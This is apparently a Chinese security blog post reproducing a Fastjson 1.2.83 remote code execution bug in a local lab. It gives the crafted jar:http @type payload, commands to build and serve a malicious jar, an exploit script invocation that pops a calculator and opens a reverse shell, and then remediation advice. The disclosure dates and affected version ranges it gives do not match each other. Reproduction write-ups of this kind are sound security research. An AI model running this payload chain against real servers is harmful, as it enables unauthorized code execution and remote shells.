Fastjson 1.2.83 RCE 漏洞利用

摘要

Fastjson 1.2.83 存在一条不需要任何传统 Gadget 的远程代码执行链:攻击者构造 jar:http:// 形式的 @type 类名,fastjson 在 checkAutoType 的信任路径下会从远程 HTTP 托管服务器下载恶意 jar,加载其中的类并触发类的静态初始化(<clinit>),从而执行任意命令。本文在 Windows + JDK 8 环境下完整复现该漏洞,记录了两弹计算器、反弹 Shell 的全过程,以及复现过程中遇到的三个关键报错与根因。

参考:该漏洞编号 QVD-2026-43021 / CVE-2026-16723,2026-07-21 由 FearsOff 团队披露,影响 fastjson 1.2.68 ~ 1.2.83。

|-------|-------------------------------------|
| 项目 | 内容 |
| 漏洞名称 | Fastjson @JSONType 资源探测远程代码执行漏洞 |
| 披露时间 | 2026-07-19(Kirill Firsov @k_firsov) |
| 影响版本 | Fastjson 1.2.66~1.2.83 |
| 漏洞类型 | 反序列化远程代码执行(RCE) |
| 危害等级 | 高危(CVSS 9.8) |
| 触发方式 | 网络远程,无需鉴权 |
| 利用复杂度 | 低 |

  • Fastjson 1.2.66 -- 1.2.83
  • JDK 8 环境(JDK 9+ 可能仅触发 SSRF)
  • 且 autoTypeSupport 为 false、safeMode 为 false,确认环境条件满足。

漏洞复现

1.介绍

下载下面已经打包好的fastjson-1.2.83-rce漏洞环境

GitHub - 0x7eTeam/fastjson-1.2.83-rce: Fastjson 1.2.68 ~ 1.2.83 RCE · GitHub

复制代码
java -jar target\fastjson-tomcat-jdk8-env-1.0.0.jar
1.pom.xml
  • 类型:Maven项目配置文件
  • 作用:定义靶场的依赖与打包规则,核心引入fastjson 1.2.83和spring boot框架;通过mvn package 可将源码打包为可直接运行的jar包。你的target目录已存在编译产物,说明已完成打包,无需重新编译。
2.src目录
  • 类型:靶场源码目录
  • 作用:Spring Boot Web 项目源代码,核心漏洞入口为src/main/java/com/vuln/fastjson/controller/ParseController.java,功能是接收HTTP POST的JSON数据,调用JSON.parse()执行解析,是漏洞触发点。
3.target目录
  • 类型:编译打包输出目录
  • 作用:存放Maven 编译后的所有产物,核心文件是fastjson-rce-env-1.0.0.jar。这是Spring Boot打包的FatJar(胖包),内置全部依赖与LaunchedURLClassLoader,是满足漏洞触发条件的靶场程序,可直接通过java -jar启动。
4.POC目录

类型:漏洞利用工具集(攻击核心文件全部在此)

GenProbe.java:恶意JAR生成器源码,用于生成包含恶意代码的probe.jar,恶意代码写在静态代码块<clinit>中,类加载时自动执行命令。

exp.py:攻击脚本,自动构造JSON Payload并向靶场接口发送请求,触发漏洞。

lib/目录:编译依赖库,包含asm-9.6.jar(字节码生成工具)和fastjson-1.2.83.jar,编译GenProbe.java时必须引入。

www/目录:HTTP托管目录,生成的恶意probe.jar会放在此处,Python启动HTTP服务后,靶场将从目录远程下载恶意JAR。

2.漏洞原理

触发链

复制代码
@type 类名(jar:http://host:port/xxx!.Class) 
   → ParserConfig.checkAutoType()
   → 黑白名单/denyList 检查通过
   → defaultClassLoader.getResourceAsStream(类名.replace('.','/')+".class")
   → 远程下载恶意 jar
   → fastjson 自带 ASM 探测 hasJsonType()(类是否带 @JSONType 注解)
   → TypeUtils.loadClass() 真正加载类(触发远程 jar 内类定义)
   → 反序列化创建实例 → 类初始化执行 <clinit> → RCE

Fastjson 在处理@type字段时,会调用checkAutoType方法尝试加载类。攻击者可以构造一个特殊的@type 值,例如:

复制代码
jar:http:..2130706433:19090.probe!.POC

其中2130706433127.0.0.1 的十进制整数表示(用于绕过点号替换逻辑)。

Fastjson 会将该值转换为 JAR URL:

复制代码
jar:http://127.0.0.1:19090/probe!/POC.class

在 Spring Boot 的LaunchedURLClassLoader环境下,该 URL 会被解析并远程加载一个恶意 JAR 包。JAR 包中的静态代码块(<clinit>)会在类加载时自动执行,从而实现任意代码执行。

3.漏洞利用

1.基础环境

校验Java版本(必须为 JDK 8,JDK 9+ 无法触发 RCE)

python版本需要大于3.10

复制代码
java -version
python3 --version

2.启动漏洞靶场

使用target目录下的编译好的jar包启动靶场,默认监听18080端口:

复制代码
java -jar target/fastjson-rce-env-1.0.0.jar

浏览器访问http://127.0.0.1:18080/可正常打开页面

3.弹计算器

1.编译恶意payload脚本
复制代码
javac -encoding UTF-8 -cp "E:\fastjson-1.2.83-rce-main\poc\lib\*" -d "E:\fastjson-1.2.83-rce-main\poc" "E:\fastjson-1.2.83-rce-main\poc\GenProbe.java"
2.生成恶意probe.jar

执行成功后,会在poc/www/目录下生成probe 文件(即恶意 JAR 包)

Windows 弹计算器改最后参数为 "calc"

复制代码
"C:\Java\jdk1.8.0_191\bin\java.exe" -cp "E:\fastjson-1.2.83-rce-main\poc;E:\fastjson-1.2.83-rce-main\poc\lib\asm-9.6.jar;E:\fastjson-1.2.83-rce-main\poc\lib\fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "calc"
3.启动HTTP文件托管服务

靶场需要通过HTTP协议下载恶意JAR,因此用Python在poc/www目录下启动HTTP服务,端口指定为19090:

复制代码
cd /d E:\fastjson-1.2.83-rce-main\poc\www && python -m http.server 19090
4.执行恶意payload,弹计算器
复制代码
python E:\fastjson-1.2.83-rce-main\poc\exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe

4.反弹shell

提前新开终端监听4444端口

复制代码
powershell -NoProfile -ExecutionPolicy Bypass -File C:\Users\wuwu\nc\listen.ps1 4444

反弹shell:

复制代码
python E:\fastjson-1.2.83-rce-main\poc\exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe

反弹shell成功

4.修复建议

  1. 升级版本:升级到已修复的 fastjson 版本,或关注厂商修复公告;
  2. 开启 safeMode:ParserConfig.getGlobalInstance().setSafeMode(true),拒绝一切自动类型解析;
  3. 保持 autoTypeSupport=false:本次复现链路在 autoTypeSupport=false 下依然成立,切勿依赖该开关;
  4. 出网管控:该链需要服务器主动访问攻击者的 HTTP 服务,严格限制应用服务器对外连接、关闭不必要的出网端口;
  5. WAF/IDS 规则:对 @type 中出现的 jar:http、jar:https 等协议前缀做检测拦截;
  6. 最小化依赖:及时清理不再使用的第三方库。

该漏洞最值得警惕的点是:无需任何传统 Gadget、无需开启 autoTypeSupport,仅需目标服务可访问一个攻击者控制的 HTTP 地址即可完成 RCE,实际利用成本很低。

本记录仅用于本地授权环境下的安全研究与防御验证,请勿用于未授权目标。

相关推荐
杨云龙UP1 小时前
MySQL Host is blocked because of many connection errors 导致 JDBC 连接失败排查与解决
linux·运维·网络·数据库·sql·mysql·登录失败
xixiaoyunya1 小时前
局域网多电脑文件互备:从传统痛点到自动化方案的技术路径
网络·安全
yume_sibai1 小时前
11-Rust 不安全编程(unsafe 关键字 + 裸指针 + FFI + 内联汇编 + 内存安全保证)
汇编·安全·rust
AngusKit1 小时前
开源扫描器拼盘 vs AngusSecurity
安全·安全性测试·代码安全·漏洞检测·trivy·安全扫描·gitleaks
山东科恩光电2 小时前
安全触边在自动化设备中的应用与风险控制方案分析
安全
汇智信科2 小时前
企业综合信息门户设计:基于 CMS 扩展的全要素内容与知识生态方案
安全·汇智信科·hsim·fastclaw·汇智龙虾
Lynne3092 小时前
为什么工业数据越来越需要在现场处理?边缘计算正在解决什么问题?
网络·数据分析·数据
网易易盾2 小时前
应用加固如何应对AI辅助逆向?从单点防护到持续对抗
人工智能·安全
慧都小妮子3 小时前
GB/T 44462.4-2026实施前,DataHub如何管好工业数据链路?
物联网·网络安全·数据安全·工业互联网·opc